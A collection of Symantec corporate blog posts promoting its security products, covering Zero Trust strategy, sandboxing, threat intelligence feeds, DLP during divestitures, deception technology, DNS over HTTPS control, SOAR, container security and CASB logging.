The next step is to prioritize the capabilities needed to deliver on the Zero Trust strategy that your organization has defined. For example, if you are focusing in the Workloads area, two key capabilities might be implementing very granular access controls to your apps and ensuring that all workloads and storage are continually scanned for malware and information security violations. If your initial focus is to improve protections for your People/Workforce, you may start by ensuring you can enforce acceptable use policies and protect them from threats targeting them from the cloud and web.
Identify Specific Technologies
Identifying the technologies that the organization needs to have to gain the required capabilities is the logical next step. For example, to gain the access control capabilities we just referenced for Workloads, technologies like Software Defined Perimeters (SDP) and Multi-Factor Authentication (MFA) could be deployed. For protecting your Workforce from threats on the web, technologies like web isolation, encrypted traffic inspection, and cloud-based sandboxing can play an important role.
Highlight Specific Features
To help you select the right vendor, you must then identify and prioritized the specific features for each of the technologies that you have selected for your Zero Trust solution. In the example we have been using for Workloads, perhaps you want to prioritize having an SDP solution that is “in the data path” of the traffic, giving you the ability to scan traffic for reporting and threat prevention, and require stepped-up authentication with an MFA tool if risky user behavior is observed. Or with Isolation to secure your users’ browsers when the interact with the web, the ability to integrate with your Secure Web Gateway to selectively isolate only certain types of risky web traffic may be important.
But even with focus, when you arrive at your set of features and technologies required to deliver on your Zero Trust capabilities aligned with your defined strategy, you may end up with a mapping that is fairly-complicated. For example, in this mapping of capabilities, technologies, and features, aligned with a strategy of applying Zero Trust security for content being uploaded to SaaS applications, as many as 11 steps might need to be thought through and controlled across your infrastructure.
So as we can see, applying Zero Trust tenets to something as seemingly straight forward as uploading data to a SaaS app can involve a lot of complexity, including a number of different technologies, multiple integrations, and potentially a large number of vendors.
The Benefits of a ZTX Platform Approach
This reality is leading many companies to prioritize the importance of a platform approach when they begin their Zero Trust planning. If they can identify a small set of vendors that can help them with most/all of their Zero Trust requirements, it can dramatically simplify their program. A Zero Trust platform, such as my own company’s Symantec Integrated Cyber Defense platform, solves many of the complexity issues by pre-building into the platform the integrations organizations need to have the capabilities, technologies and features they need. The result leads to improved security outcomes by reducing the operational complexity, offering better visibility, simplifying the automation and orchestration, and streamlining sourcing and even vendor management.
Our Symantec platform offers companies a simplified security model to deliver the Zero Trust security outcomes most important to them. We’ve mapped its capabilities directly to the ZTX model and I proudly note that our platform was recently recognized by Forrester Research as a leader in the The Forrester Wave™: Zero Trust eXtended (ZTX) Ecosystem Providers, Q4 2018.
In closing I’d like to invite you to contact Symantec to learn more about Zero Trust and the Zero Trust Extended ecosystem model. The move to the cloud-based world creates a fantastic opportunity for enterprises to re-architect security infrastructures, and the ZTX model provides some great blue-prints to guide organizations through this process. The recently named Nobel Laureate, Bob Dylan, once wished that we would all “have a strong foundation when the winds of changes shift.” Zero Trust offers us that strong foundation for those shifting technology winds – today, and for years to come.
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How to Achieve Highly Effective Sandboxing
A comprehensive multilayered strategy is essential
Sandboxing is an essential element of cyber security strategy. The ability to isolate, examine and if necessary, detonate a file suspected to contain malware often spells the difference between protected data and a disastrous breach. But there is a big difference between simply having a sandbox in your defensive arsenal and implementing sandboxing technology in a highly effective way. For a sandbox to be highly effective, it must:
Reach rapid and accurate verdicts regarding the safety of files.
Run efficiently.
Isolate and detonate a wide range of malware.
Sandboxing Pitfalls
Even organizations that do a good job at protecting themselves sometimes fail to get the most out of their sandboxes. The main reasons: Sandboxes can be slow and inefficient. A defensive strategy that forwards too many files to a sandbox will degrade network performance, erode user productivity and increase costs. Very simply, you don’t want to sandbox every suspect file that comes into your organization. At the same time, you don’t want to send a questionable file into your enterprise and inspect it later. If the file turns out to be malicious, you’ll have to remediate its impact on your organization, which will cost extra time and effort.
Better Sandboxing
How to overcome these pitfalls? The best approach is to winnow down the number of potentially malicious files that go into the sandbox using methods to catch easily identified malware, so that your incident response team is not overwhelmed with thousands of files that require manual inspection. Such a filter-funnel strategy will protect your organization from unnecessary costs and slow performance, while providing effective cyber security protection.
This is exactly how we have implemented sandboxing with Symantec, a division of Broadcom (NASDAQ: AVGO), Content Analysis System (CAS). CAS is a multilayered approach to threat protection that is integrated into our product line and in our opinion fits within Gartner’s Secure Access Service Edge (SASE) framework.* (Click here for more on SASE and Symantec's implementation of it) CAS only sends files to the sandbox when earlier, less process intensive steps do not reach a verdict with regard to the file’s safety. Here’s an example of how CAS enabled highly effective sandboxing at a Fortune 20 company:
Facing 41.7 billion web requests over 30 days, the company deployed Symantec Secure Web Gateway (SWG) technology, which blocked 48 million malicious sites. Meanwhile, 2.4 billion files were sent to CAS for deeper inspection. Of those files, 539,000 ended up in the sandbox, of which, only 389 risky files – compare that to an average of 4,000 events reported to the SOC in previous months before CAS was deployed – were identified for analysis by the company’s incident response team.
Layer By Layer
By blocking a large number of potentially malicious files from known malicious website, our high-performance on-premises SWG appliances, ProxySG and Advanced Secure Gateway (ASG), play an indispensable role in limiting the number of unknown files that are forwarded to CAS for centralized, deep inspection.
CAS inspects files and compares them to massive hash reputation blacklist and whitelist databases. Bad files are blocked; good files are allowed, and unknown files are subjected to static code and machine learning analysis. Malicious files are again blocked, while files that are still unknown are subjected to analysis by as many as two separate anti-malware engines (including Symantec's and some of its top competitors). Using the signature databases of two engines increases the likelihood of recognizing malicious files.
Content that is still unknown is sent to the sandbox, which is either built into the CAS implementation or available via the cloud. Our sandbox implements both emulation and virtualization, a hybrid approach that delivers the benefits of both methods: Emulation represents “bare metal” systems to quickly catch threats; virtualization exposes threats that are targeting your specific OS environment. You can create your own customized OS images to identify malware that targets just your unique environment, eliminating a lot of false positives.
Our detection pattern library detects targeted and single-use malware, without relying on signature-based detection. Meanwhile, static code and YARA rule analysis performs file fingerprinting, detects packers, analyzes strings and uses textual and binary patterns to identify and classify malware samples.
Security Operations Center teams can view all this activity through clear and concise reports and study malware screenshots, even as they rapidly eradicate identified threats across the enterprise.
In addition, our technology analyzes files for sandbox avoidance characteristics, including sleeps designed to wait out sandbox analysis and stealth mode files that attempt to detect an artificial analysis environment. We also include a Ghost User plugin that thwarts interactive malware by simulating user behavior. Suspect files are withheld from the user while a safe verdict is rendered, preventing patient zero infections.
Security Operations Center teams can view all this activity through clear and concise reports and study malware screenshots, even as they rapidly eradicate identified threats across the enterprise. To the user, all this is swift and imperceptible.
By taking a centralized approach and applying multiple layered discovery techniques, we are able to reach rapid and accurate verdicts, work efficiently and isolate and detonate a wide range of malware. It’s highly effective sandboxing that will keep your organization safe from threats, while enabling your employees to be highly productive.
*Source: Gartner, The Future of Network Security Is in the Cloud, 30 August 2019, Neil MacDonald, Lawrence Orans, Joe Skorupa
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How to Choose the Right Threat Intelligence Sources for Your TIP
What you get out of your threat intelligence platform depends on what you put into it
If your organization wants to get the best results from a threat intelligence platform (TIP), make sure you consider the effectiveness of your threat data sources. Many organizations that implement a TIP often have difficulty determining which intelligence sources they should use and end up not deriving full benefit from the technology.
TIPs are a fundamental component of threat intelligence programs at many enterprises. A TIP collects and manages threat data from multiple external sources. It helps you correlate the external data with internal telemetry, so you can identify and prioritize responses to the threats that are most relevant to your organization. A threat intelligence platform can reduce enterprise risk by quickly helping answer questions such as:
Which alerts should I prioritize?
Is this an artifact of a targeted attack?
Who's attacking me?
Like any data analytics tool, a lot of what you get out of a TIP depends on what you put into it. You can have an excellent threat intelligence platform and really great human analysts and still struggle to get actionable operational intelligence because your data sources are inappropriate, inadequate or of poor quality. In today's hyperactive threat environment, the last thing you want is to have your analysts going down rabbit holes looking for non-existent, irrelevant or old threats. Poorly sourced threat data increases risk for your company.
How do you make sure that the quality of the data input into your TIP is reasonable? It turns out that a lot of people don't have a good idea, so here's a quick rundown of the attributes you can easily look into when selecting data sources:
Data Quality & Provenance
The first thing you want to make sure is that your threat data is accurate. After you put a new source into production, you’ll be able to collect hard metrics like actual detections and false positives. But there are some simple things you can look at upfront.
Know where your threat intelligence is coming from and how it is being generated. Some sources collect data based on input from other sources –such as a community submission—without vetting for accuracy. How many of the indicators you receive are likely to be valid and how many might be duds?
Look into the specifics around how a particular source is actually detecting and validating threats. Knowing the provenance of the data may allow you to look up detection quality metrics related to the underlying detection engines; for example, published testing results for that engine.
There's also the issue of the reliability of your threat data. Sometimes, a source can remain silent for days or weeks, or fall off the grid entirely. How sure are you that a new source is going to deliver high-quality data on a consistent basis?
Some of these attributes are hard to measure when you are initially selecting a threat intelligence source, but even proxy data can offer valuable insight into the expected quality of the data feeding your TIP.
Breadth
There are all kinds of threats being launched out in the wild. If you don't have a source that can see these threats on a global scale, all you're going to be seeing is a slice of the malicious activity. That can be a problem when threats come out of left field. In selecting a threat intelligence source, consider the breadth of the malicious behavior into which you will have insight.
Age
Don't get tripped up by old threat data. The goal in using a TIP is to ensure that you remain on top of the latest threats. Assess the freshness of your source's data. Look at how long individual threat indicators appear in the feed and the rate of change of indicators in the feed. If the data is old by the time it gets to you, the indicators may no longer be associated with malicious activity, and all you would have done is waste time looking into associated alerts.
Uniqueness
To be of value, threat data needs to be unique. Before adding a source, you want to make sure you are bringing in new insights. Compare how much overlap there is between what you already have, and how much of the data is unique in the dataset you are considering. That will tell you whether it is worth adding a new source.
A TIP can be a valuable asset that helps reduce risk so long as you pay attention to your threat intelligence sources. If you put garbage in, don't expect the output to be anything different.
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How to Divest a Division Without Divulging Your Data
How customers can rely on Symantec DLP to protect information during business restructuring processes
According to a recent EY divestment study, “28% of CEOs say the most important strategic action their company will take in the next six months is divesting assets to raise capital for investing in other parts of the business.” How do you successfully divest a business division without introducing unintended data risk?
Business restructuring processes - such as divestitures and offloading - are complex and challenging for any organization. There are two important dimensions that organizations have to manage.
First, they face a critical challenge in ensuring the protection of sensitive and confidential data before, during, and after the transition.
Second, while navigating a complex IT systems change, they need to retain a robust, operational DLP system, that will work for the business post-divestment. For example, updating data protection policies and protecting intellectual ‘know-how’ during staff changes.
Data protection should therefore be at the center of these challenging business processes. At Symantec, we have helped customers successfully complete complex divestitures. We can share six important lessons to ensure best practices are followed and that companies successfully protect information during a business restructuring process:
Use DLP Discovery tools to create a complete inventory of your data.
Once an organization decides to embark on a divestiture process, it is paramount to discover the information related to the assets that will be offloaded, including business records, intellectual property, and personally identifiable information. Symantec DLP can help organizations proactively discover and classify sensitive data that needs to be protected during the divestiture process. Symantec DLP offers numerous tools that customers can rely on to prioritize the discovery effort. With DLP Core, you can use Network Discover to scan file systems, Sharepoint, databases, and other customer-managed information repositories and Endpoint Discover for end-user devices running multiple operating systems (Windows, Mac and Linux).
Adding DLP Cloud gives access to additional DLP and CASB technology (CloudSOC Securlets) to control the flow of sensitive data to third-party SaaS and IaaS applications.
Ongoing data monitoring helps you cope with changes to timelines or compliance needs.
During a divestiture, organizations must continue complying with various regulations and data protection laws, and remaining compliant is paramount. Symantec DLP can help organizations maintain compliance by ensuring that sensitive data is handled in accordance with regulatory requirements. It can also provide audit trails and reporting capabilities to demonstrate compliance with data protection laws and regulations. Policy Groups, Endpoint Agent Groups, and Synchronized Directory Group Matching are mechanisms that can help customers create policies to understand and then protect the new organizational boundaries. Exact Data Matching (EDM), Exact Match Data Identifiers, and Indexed Document Matching detection technologies are useful for identifying specific information assets belonging to the divesting business unit.
Symantec DLP offers a comprehensive set of reporting capabilities, and continuously updated policy templates.
Assume data will migrate so enforce protection to keep it safe.
Protecting sensitive data is a core value that Symantec DLP delivers to our customers. Throughout the divestiture, Symantec DLP can prevent data leakage across email, web, cloud, endpoint, and other communication channels by enforcing data protection policies. This ensures that sensitive data remains secure and does not fall into the wrong hands during the divestiture process. Customers can rely on our comprehensive set of Response Rules to automatically prevent data leakages, either from Enforce or from other enterprise remediation and triaging tools via APIs. Detection technologies like Exact Data Matching, Exact Match Data Identifiers, and the recently released Structured Data Identifiers are particularly useful to prevent structured data from inadvertently spilling after the offloading/divestiture is complete. Symantec DLP also allows you to create specific roles with granular controls - like masking data in incidents - to ensure that data in our platform is only available on a need-to-know basis.
Our approach of scanning file contents, as well as using DLP Classification tags, provides peace of mind that sensitive data will be highly protected, even if users try to remove data tags in order to bypass detection. In addition, this approach ensures data is protected in line with the latest DLP policy (for example if regulations are updated).
Ground your DLP program with best practices.
Symantec DLP can help organizations ensure a smooth transition during a divestiture process, for both the originating and the divesting organization. It can help identify and mitigate any risks associated with the transfer of data between the parent company and the newly created entity. We provide best practices and documentation to help our customers with their business continuity processes. If the organization decides to prune the incidents from the database, Symantec DLP allows you to perform scheduled deletion of incidents. If the new entity needs to bring Symantec DLP incidents as part of its business assets, customers can leverage the flexibility of the Web Archive functionality or the robust Reporting API to ensure that the right information is available after the divestiture or offloading.
Don't be afraid to ask for help.
To prepare for life after the divestment, it is recommended that customers review their DLP systems. Symantec Information Protection Program Reviews offers customers a proven way to align their DLP program at both a strategic and tactical level. Through a process of facilitated workshops, we help customers understand the multiple facets involved in DLP, identify operational risks and make short and medium-term improvement recommendations.
Our technical experts can help customers evaluate their options by drawing on their experience of advising some of the world’s largest users of DLP systems.
Data Protection needs to be everywhere, so integrate DLP into your security stack.
Symantec DLP has become a valuable repository of intelligence and best practices for our customers, underpinning Information Protection and Cybersecurity efforts. Our solutions can integrate with other security solutions to provide a comprehensive security posture during the divestiture process. For example, it can integrate with identity and access management solutions to ensure that only authorized users have access to sensitive data. Symantec DLP offers robust APIs for reporting, incident remediation, policy management, user and role reporting, infrastructure management, scan settings, and endpoint certificate management.
Conclusion
Divestiture processes can be risky, and organizations must take steps to mitigate these risks. Symantec DLP can help organizations manage these risks, ensuring that sensitive data is properly identified, monitored, and protected throughout complex and challenging divestiture and offloading processes. We also have experienced resources in our Professional Services and Partner organizations to ensure that the post-divestment DLP system is properly configured and resourced for success. For more information and to learn more, please visit us here.
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How to Get Hackers to Fall for an Old Ruse with a New Spin
Organizations can bolster endpoint security by deploying innovative deception technologies that leave attackers increasingly frustrated - and empty-handed
Sometimes the ideas for innovations come from the simplest of places. One of the most tried-and-true methods to catch something is to set a trap, using something the target desires to lure them to a place where they can be caught.
The same methodology works in a place many may not think: cyber space. Just as a delicious piece of cheese could help catch a pesky mouse, the same idea can be used to catch a hacker – just replace the piece of cheese with a valuable-looking piece of information.
Deception Technology
Deception technology has become a popular innovation to help protect enterprise networks. Symantec provides deception at scale, bringing deception capabilities to endpoint protection and capturing even the smartest of hackers. Deception capabilities enable customers to easily deploy customizable baits across the enterprise.
Deception technology deceives attackers into believing they have successfully breached an organization, when in reality, attackers are shunted to a false environment, served up fake assets and information – essentially leading them on a "wild goose chase" – while the security team works to neutralize the attack.
These decoys include fake credentials, files, and other enticing assets specific to that environment, that are incredibly granular in nature. Just as hackers have gone to the effort to make phishing emails as realistic looking as possible, these decoys mimic real assets inside the enterprise with the hopes of catching crooks.
When the hackers try to take one of these marked pieces, a precise alert is sent by the technology so that an agency can respond by strengthening the environment.
The Need for Innovation
This innovation, combined with other advances in endpoint connection, can help protect agencies in new and different ways. Tools such as Intensive Protection, Endpoint Detection and Response, and an overall integrated cyber defense platform, can help keep agencies safe.
As hackers continue to innovate to find new ways to break into systems those that must protect that data must innovate as well. It is no longer an option to simply put in perimeter defenses and hope they remain effective. Hackers have developed, and continue to develop, new forms of attack. To combat them, anyone that holds data needs to continue to look for the best security approaches, and be accepting of innovations that break the norm.
Sadly, with cyber security there is no end state. As long as hackers want to take information, agencies will have to continually improve their defenses. This is especially true for federal agencies that hold valuable personal information about the nation’s citizens, proprietary business information such as patents, and data critical to national security.
Innovation continues at all levels of cyber security. Sometimes simple ideas can turn into the best defenses. Agencies must understand that security will change, and more importantly, that it needs to change in order to stay one step ahead.
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How to Have Your Cake AND Eat it in AWS
Symantec now lets users buy upfront quantities in SaaS contracts to get discounts - and pay as they go to add extra resources
Ever been told you can’t have your cake AND eat it too? Frustrating, right? The whole purpose of having your cake is so you can eat it. But by the time you’ve eaten your cake, you no longer have it.
So how can you have your cake AND eat it too in Amazon Web Services (AWS)? Well, back in 2006 when AWS launched a new service for virtual computers called Elastic Compute Cloud (EC2), AWS also introduced a new concept that allowed you to rent virtual computers. The concept – referred to as utility-based or Pay-As-You-Go (PAYG) pricing – meant that you no longer had to guess how many virtual computers they were going to need. Instead of purchasing upfront quantities of virtual computers, you could simply rent compute on-demand by the hour and pay only for what they needed. The famous phrase of “No contracts; cancel anytime” for Infrastructure as a Service (IaaS) was born.
This was great for creating new infrastructure or applications in the cloud where you didn’t have any idea how much compute you needed. Additionally, this pricing model paved the way for auto scaling, which allows you to automatically add compute resources on the fly without having to go through a quote or procurement process. With utility-based pricing, we really started to eat our cake.
However, what about scenarios where you’re moving current infrastructure to the cloud and have a good idea on how much you need? Or how about scenarios where your company has budgetary cycles and you can only spend during certain times of the year. Not to mention the fact that many software vendors provide discounts for customers who commit to larger purchases upfront instead of on-demand pricing with no commitment. Although utility-based pricing offers great flexibility, it also means that sometimes you forgo some of the advantages with contracts and risk not having your cake.
Well, with a new release in the AWS Marketplace, you can now have your cake AND eat it too. Symantec, an AWS Partner Network (APN) Advanced Technology Partner with AWS competency in Infrastructure Security, has partnered with AWS to support a new enhancement in the AWS Marketplace. The enhancement lets you purchase upfront quantities in SaaS contracts to get discounts AND use PAYG pricing for times when you need extra resources that go above and beyond predetermined purchases.
Getting Started
So how does it work? Symantec has published a new SaaS contract in the AWS Marketplace for Symantec Cloud Workload Protection (CWP). CWP helps you protect your EC2 instances from malware, application exploits, and system changes that can result in security compromises. CWP does this by deploying agents on instances to identify applications, enforce policies, scan for malicious files, and secure Docker containers. The CWP agent supports anti-malware, Intrusion Detection and Prevention (IDS/IPS), and File Integrity Monitoring (FIM) out of the box.
Pricing for CWP is based on the type and number of EC2 instances you want to protect, e.g., pricing starts at $0.01 per hour for protecting small EC2 instances (1 vCPU) and increases to $0.06 per hour for protecting large EC2 instances (4 or more vCPUs). With the new CWP SaaS contract, you can now purchase specific amounts for small, medium, and large EC2 instances for 12 months and get a yearly discount compared to PAYG rates over the same time.
Should your usage exceed the purchased amount during the same year, then standard PAYG rates apply without having to adjust your SaaS contract. If you’re consistently using more than the predetermined amount, you can also adjust the SaaS contract to include additional protection for the duration of the contract and lock in discounts for protected EC2 instances.
As Symantec deepens our partnership with AWS, we’re keeping a keen focus on how we can simplify access to our security technology and add flexibility. There may be some naysayers out there who don’t believe you can have your cake and eat it too, but we don’t subscribe to that belief. We’re eager to keep on eating, knowing we’ll always some cake for when we need it.
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Subscription: Symantec Cloud Workload Protection – SaaS Contract with Flexible Pricing
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How to Identify and Control DoH On Your Network
Symantec helps in safeguarding privacy and improving internet security
Along with bandwidth, privacy and security are the major concerns shared by everybody and everything on the Internet. Engaging in man-in-the-middle style attacks, today hackers from cyber criminal organizations, state sponsored or masse surveillance interception, can intercept clear-text DNS lookups, track and monitor users’ activities or interfere with commerce and undermine confidence in the platform. A new privacy-focused DNS resolution technique may resolve this vulnerability but introduces challenges for security professionals who are tasked to monitor and manage DNS traffic within their organizations.
DNS over HTTPS, a new protocol dubbed DoH, will encrypt domain lookups with the intent of boosting Internet privacy, performance, and security. With current DoH implementations, DNS resolution can be performed within an application, bypassing the DNS configuration of the operating systems and thus preventing any DNS based protections that an organization may have deployed. DoH is now embedded in Chrome and Firefox browsers, thus satisfying the client component, while Google and Cloudflare among others are providing the DNS servers (called DoH resolvers) that support it.
Along with bandwidth, privacy and security are the major concerns shared by everybody and everything on the Internet
Will the protocol catch on? In its corner, tech giants and new players, along with non-governmental organizations are driving support, development and standardization. However, the DoH implementation is not without critics. ISPs have coined the term “hyper-centralization” to describe how access to DNS resources is shifting from their control into the hands of even fewer parties. Critics also express concern that DoH sidesteps DNS filtering services including parental controls, which are mandated in certain countries; plus it contravenes efficient security controls — at least for now.
Yet, from a practical standpoint, DoH has arrived (RFC 8484), and while its standardization is only at the beginning with new working groups being started at IETF, the question that security teams are facing now is how best to manage it.
DoH Security Check
Encryption may prove beneficial, but a) it does not equal security and b) the resulting hyper-centralization lookup model presents SecOps teams with another set of concerns such as monitoring DNS spoofing. Traditional DNS communication had been easily differentiated from encrypted HTTPS traffic. Now, DoH bypasses passive DNS monitoring techniques including enterprise firewalls that blocked requests to banned domains.
DoH could be used by malware to exfiltrate data. Two recent malware cases suggest the protocol isn’t impervious to novel attacks:
A .NET based malware known as PsiXBot attacked Google DNS over HTTPS and installed a sexploitation-module
Godlua, discovered by Netlabs, acts as a Linux DDoS bot, according to ZDNet.
There are other scenarios that may give SecOps a dash of heartburn. Managing internal name lookups may pose data leakage challenges for some large organizations. Public DoH resolvers are not able to parse internal domain name requests — leaving such information unprotected.
Managing DoH
If you allow or simply encounter DoH on your network — Symantec will help you track and control it. Failing to manage DoH may result in more malware infections or data leakage issues. Though Firefox allows a service to disable DoH, even a moderately savvy user can override that setting.
Visibility is the first step toward understanding DoH usage and controlling it. We have implemented a new web app on Symantec ProxySG and Advanced Secure Gateway (on premise) as well as the Web Security Service (WSS) that identifies DoH communications and associates it with an app name. The app reports on DoH usage, users and destinations, helping your team craft an audit as needed. You will be able to track DoH usage in Symantec Management Center on premise, WSS in the cloud, or with your own reporting tools.
Visibility is the first step toward understanding DoH usage and controlling it.
What else would you ideally want to track? We’ll make it possible to identify additional details such as: User names; group names; source and destination IP addresses; URLs; threat risk levels; traffic volume, policy verdict (allowed or denied, etc.); among other things.
ProxySG DoH control options enable admins to allow or deny everyone — or provide only certain people with — access to DoH resolvers. More commonly, an organization may opt to specify a preferred DoH resolver, such as Cloudflare, Google or their own, internal DoH service.
For those seeking even more granular control, decrypting DOH, which requires a TLS 1.3 proxy, restores a variety of familiar control options, such as:
Allowing DoH, but handing off communication to the DNS proxy
Applying DNS application layer policies such as a filter on the DNS layer
Enable logging, reporting and forensic analysis
The DNS proxy will have your back . It is ready to handle communications such as identifying the IPv4 or IPv6 IP addresses for requested host and domain names — and perform category and threat risk level lookups. And if someone in your organization tries to connect to a known bad site, it could reply with NXDOMAIN, meaning the name cannot be resolved, or it could modify the response and point the user’s browser to a block page.
Safeguarding privacy and improving internet security are actions worthy of everyone’s time and interest. DoH may prove indispensable but in the near term, the first thing to do is build awareness of its use within your organization and simultaneously learn how to control it. Learn more about Symantec ProxySG & ASG and WSS.
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Many thanks to our team subject matter experts Arnaud Taddei and Bret Jordan for their valued contributions to this post.
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How to Lighten Your SOC’s Growing Work Burden
The number of security alerts SOCs must investigate and remediate has never been higher. But the integration of threat intelligence with SOAR solutions promises to be a boon for defenders.
On any given day, the typical Security Operations Center (SOC) team investigating incidents faces a multitude of questions such as:
Is this file or URL malicious?
Is this newly discovered piece of malware impacting us? If so, how do we identify, contain and remediate it?
Which of these new vulnerabilities are relevant to us, and how should they be prioritized?
Being able to quickly answer these questions is becoming more pressing as attackers deploy increasingly sophisticated and potent cyber weapons in ever larger numbers. Enterprises, which now must defend new domains such as IoT, mobile, and cloud, have responded by adding new security technologies to keep up, creating what Gartner rightly describes as “multiple console complexity.”
Needless to say, more technology means more alerts, and unfortunately, resource-strapped managers and their teams face a quandary about how to cope with the growing volume and variety of alerts flowing across their screens every day. Although incidents vary in complexity, a routine investigation can be quite time-consuming. SOC analysts now spend countless hours bogged down separating out real threat alerts from the false alarms. Consider this: 44% of SOC managers see more than 5,000 alerts each day, but their teams can only respond to fewer than half of them.
SOAR solutions remove a lot of the burden on security analysts, who now can devote more time to high priority incidents than they were previously able to.
Unfortunately, there’s no rest for the weary. Most organizations aren’t in any position to hire more people - assuming that they could even find qualified candidates nowadays - to relieve the work imbalance. Their dilemma is further compounded by the fact that many security operations remain tied to manually created and maintained document-based investigative procedures, which can be brittle and inflexible, and lead to more inefficiency.
Here’s where security orchestration, automation and response (SOAR) technologies provide a welcome assist to over-burdened SOC teams.
The idea behind SOAR is to help companies become more efficient and less error-prone. It’s cumbersome to operate in isolation with limited context and to use manual processes to perform required tasks. But with a SOAR solution collecting security threat data and alerts from different sources, organizations can achieve better time to resolution as they automate their investigative processes and orchestrate their tools to work together to solve issues quickly.
At the same time, SOAR solutions remove a lot of the burden on security analysts, who now can devote more time to high priority incidents than they were previously able to. The upshot: More productivity as analysts can handle more incidents more thoroughly, without needing to add staff.
The appeal of SOAR solutions is spreading quickly. Gartner estimates that 15% of organizations with security teams bigger than five people will leverage SOAR tools for orchestration and automation reasons by the end of the decade, up from less than 1% currently.
Intelligence Matters
As a category, SOAR products are relatively new. To reap the maximum benefit from the technology, enterprises should tap Symantec’s DeepSight Intelligence, a high-quality intelligence service, that is designed to serve up intelligence to SOAR tools.
DeepSight Intelligence provides dynamic access to vital threat data including file reputation, vulnerability, network reputation and adversary intelligence. This intelligence has been directly integrated into the most popular SOAR platforms, enabling informed and context-rich threat identification, validation, and response leveraging automation.
One of DeepSight’s notable attributes is the depth of the context it provides. For example, when the system weighs in on the reputation of an IP, customers receive various summary ratings, such as reputation and confidence. They also get a detailed description of the attack - or attacks - launched by that entity. This is of course highly useful for investigative purposes.
DeepSight Intelligence is able to deliver rich context because it consolidates and analyzes threat data from a wide variety of sources via Symantec’s Global Intelligence Network (GIN), the world’s largest civilian threat intelligence collection network. With Symantec security software running on millions of customer computers and devices, as well as on numerous gateways and proxies in over 150 countries around the world, a massive amount of threat data is available to be analyzed to produce the high quality, context-rich intelligence delivered by DeepSight.
Obviously, there are a variety of uses for DeepSight when combined with a SOAR tool, ranging from incident investigation to threat hunting to vulnerability management .
With the DeepSight Intelligence API, customers can look up the reputation of a range of common indicators, including files, URLs, and IPs. They also can draw investigative associations, such as which URLs are associated with an IP of interest or what malware is associated with a particular hash.
Queries like these can be executed instantaneously by a SOAR solution, providing the data needed to automate important parts of the investigative process.
In the ongoing battle with malicious attackers, the integration of threat intelligence with SOAR tools promises to be a boon for defenders. As we know, information is power, and this is the sort of information defenders can put to use to work smarter, work faster, and make the right decisions to protect their organizations.
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How to Lock Down Container Security
IT’s love affair with containerized apps is going strong. But love shouldn’t blind you to some serious security issues
As you migrate workloads to the public cloud, and adopt new technologies such as containers, make sure you’ve got the visibility and expanded security posture you need.
You’re likely familiar with all the reasons supporting a move to containers. Because they share a single operating system (OS) kernel, they’re lightweight, quick to start, and use little memory. Some of the tantalizing benefits they offer businesses and developers include:
Platform independence so developers can ‘build it once, run it anywhere’
Higher app density for more efficient use of hardware and system resources
Improved app isolation via the container host
Improved developer productivity and continuous integration and continuous delivery (CICD) pipeline integration
Rapid and smooth scaling with simple orchestration
Terrific stuff. But containers as a class can unfortunately introduce some security deficits. Keep in mind that while containers can bring some IT value, they do not offer comprehensive security. Many of the specific challenges result from the way containers function, and where and how they are used. Here are containers’ top security issues and the available fixes we recommend.
Lateral Movement of Threats
Cyber attackers often use lateral movement to spread through a network. Containers, unlike VMs, share hardware and OS resources with other services running on that hardware. This expands the attack surface to include the host OS, making lateral movement attacks possible. The fix is to choose container security that monitors network communications and uses policy-based controls that permit only approved network connections.
Unrestricted Access
A single application bug can give attackers a way to compromise containers and hijack their permissions, enabling attackers to gain access to critical system files in the management framework, the host, and other containers. It’s up to security managers to roll out container security that monitors file integrity and then provides real-time alerts when critical files inside containers, or on the host, are accessed or changed.
Containers Integrated into Heterogenous Environments
Because of their flexibility, containers can be implemented across public and private clouds, and even on bare metal servers next to VMs. All of it needs to be secured. My advice is to make sure that your container security is set up to protect containers with complete, integrated pipeline, runtime, and storage security—wherever they are used across heterogeneous hybrid cloud environments.
Infection Through Shared Storage
Containerized applications and services often share storage, such as Amazon Simple Storage Service (S3) buckets, with other containerized or traditional applications. Keep in mind, however, that shared storage can become infected and further spread malware and threats, such as ransomware and bots, to other apps and services. You can reduce your risk by incorporating container security that scans for malware in files and objects in S3 buckets, keeping storage clean and preventing threats from spreading to other applications and services.
Lack of Visibility into Security Events
Because containers appear as servers, there are no security event trails for security analysts to follow when conducting forensic investigations. This is where your infrastructure must be equipped to enable administrators and security operations personnel with visibility into security events, along with alerting and logging for analysis and forensics investigations.
How Symantec Can Help
Containers clearly offer huge advantages compared to virtual machines, so it’s no surprise they are hitting the big time. We’re excited about the container revolution too. But before you go all in, it’s essential you cover the security bases.
Symantec Cloud Workload Protection Suite ensures you can safely adopt containers and cloud IaaS platforms with strong protection for workloads and storage. Cloud Workload Protection discovers and secures workloads and containers across Amazon Web Services, Microsoft Azure, and Google Cloud Platform, plus private cloud and on-premises environments. Cloud Workload Protection for Storage scans Amazon S3 storage for malware and threats. DevOps takes advantage of cloud-native integration to build security into CICD pipelines, while a single console unifies visibility, security policy, and vulnerability reporting. Cloud Workload Protection mitigates container security risks, so you get the full benefit of the business agility and operational efficiencies they offer.
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How to Make the Most of Symantec CloudSOC CASB (Part 2)
First things first: Ensure complete visibility with CloudSOC CASB Audit
Having covered setting goals in our first blog, here we will discuss critical considerations and common mistakes that impact the overall outcome of CASB Audit. CASB Audit is critical to an organization’s ability to discover Shadow IT, assess risk as well as its overall health.
The most common mistake with CASB Audit deployments is incomplete data. Information systems are garbage in and garbage out; making sure that the plumbing is right is extremely important. Extraneous or incomplete information often proves over time to become one of the largest obstacles towards reaching the expected outcome. Data that lacks certain important context is often unhelpful. Data that’s garbage will tend to conceal risk and it can cause costly rework in your Audit deployment later.
Visibility and Control - Logs
It is extremely important to ensure ALL relevant traffic logs are being fed into CASB Audit from all the available log sources.
Symantec CloudSOC supports multiple ways to deliver traffic logs to CloudSOC including several cloud-to-cloud, direct on-prem device to cloud and on-prem device to Symantec CloudSOC appliance to cloud options. Symantec CloudSOC offers their SpanVA virtual appliance for free with CloudSOC for the on-prem device to on-prem appliance scenarios.
With the on-prem virtual appliance architecture, SpanVA collects and filters firewall and proxy logs from network devices and proxies then sends them to CloudSOC CASB for use with the Audit application to evaluate risk, i.e., Shadow IT.
You should include every log that contains web traffic that is representative of every asset and business user, firewall logs, proxy logs, etc. These traffic logs should, at minimum, consist of user, source IP, destination IP, destination URL, upload bytes, download bytes, referred URL, as-well-as allow or block status.
Don’t forget to verify that your logs contain traffic from your containers and server complexes. And make sure that key information is not being exported out of systems and applications into unauthorized cloud apps. How will anyone know it’s happening until it is too late if your organization does not have visibility and control?
